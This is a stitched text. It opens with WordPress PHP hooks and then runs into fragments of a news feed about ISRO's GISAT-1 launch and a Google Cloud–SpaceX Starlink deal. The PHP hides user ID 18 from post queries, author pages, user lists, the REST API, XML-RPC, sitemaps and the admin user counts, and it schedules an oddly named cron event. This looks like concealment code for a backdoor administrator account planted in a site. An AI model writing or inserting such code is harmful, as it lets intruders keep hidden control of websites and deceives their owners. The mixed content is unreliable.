add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ISRO to launch the Earth Observation Satellite on August 12 appeared first on The Edge Media.
]]>The satellite, also dubbed the Geo Imaging Satellite-1 (GISAT-1) was initially set to be launched in March 2020. However, it was scrubbed following a technical glitch. The satellite will be launched onboard the Geosynchronous Satellite Launch Vehicle-F10 (GSLV) at 5.43 am on August 12 from Sriharikota. The final launch will depend on weather conditions.
The GSLV flight will be carrying the satellite in a 4 metre diameter-Ogive shaped payload fairing, which is being flown for the first time on the rocket, that has so far conducted 13 other flights deploying satellite and partner missions into space.
The Earth Observation Satellite will play a key role in disaster management and mitigation for India as it enables near-real-time monitoring of natural disasters like floods and cyclones that have become common in the Indian subcontinent. The satellite will image the whole country four to five times on a daily basis, sending in key data related to weather and environmental change to different agencies.
The satellite will be placed in the geosynchronous transfer orbit by GSLV after which it will move in sync with Earth. The satellite will have payload imaging sensors of six band multi-spectral visible and near infra-red with 42 metres resolution, 158 bands hyper-spectral visible and near infra-red with 318 metres resolution and 256 bands hyper-spectral short wave infra-red with 191 metres resolution.
The post ISRO to launch the Earth Observation Satellite on August 12 appeared first on The Edge Media.
]]>The post Google Cloud and SpaceX team up to offer Satellite Internet all around the Globe. appeared first on The Edge Media.
]]>Uptill the current time, SpaceX has launched approximately 1,600 Starlink Satellites into the horizon. The company expects to reach a total number of 12,000 by the year 2027. However, Google Cloud is available in 144 locations and 200+ countries and territories. It focusses to expand to Delhi (India), Doha (Qatar), Toronto (Canada), Melbourne (Australia) etc. shortly.
SpaceX had announced a deal with Microsoft Azure last year. The deal was made to build an interconnect internet network to to deliver high-speed internet to anywhere in the world. At that time, Shotwell said,”Where it makes sense, we will work with Microsoft; co-selling to our mutual customers, co-selling to new enterprise and future customers”.
The Department of Telecommunications (DoT) in India, has requested the SpaceX Starlink to share a detailed guide to get approval for launching its services. Spacex’s colaboration with Google Cloud will lay a strong foundation for the future ventures. Enterprises are a crucial part of any service provider and SpaceX will welcome its new aspect into the segment of industry.
The post Google Cloud and SpaceX team up to offer Satellite Internet all around the Globe. appeared first on The Edge Media.
]]>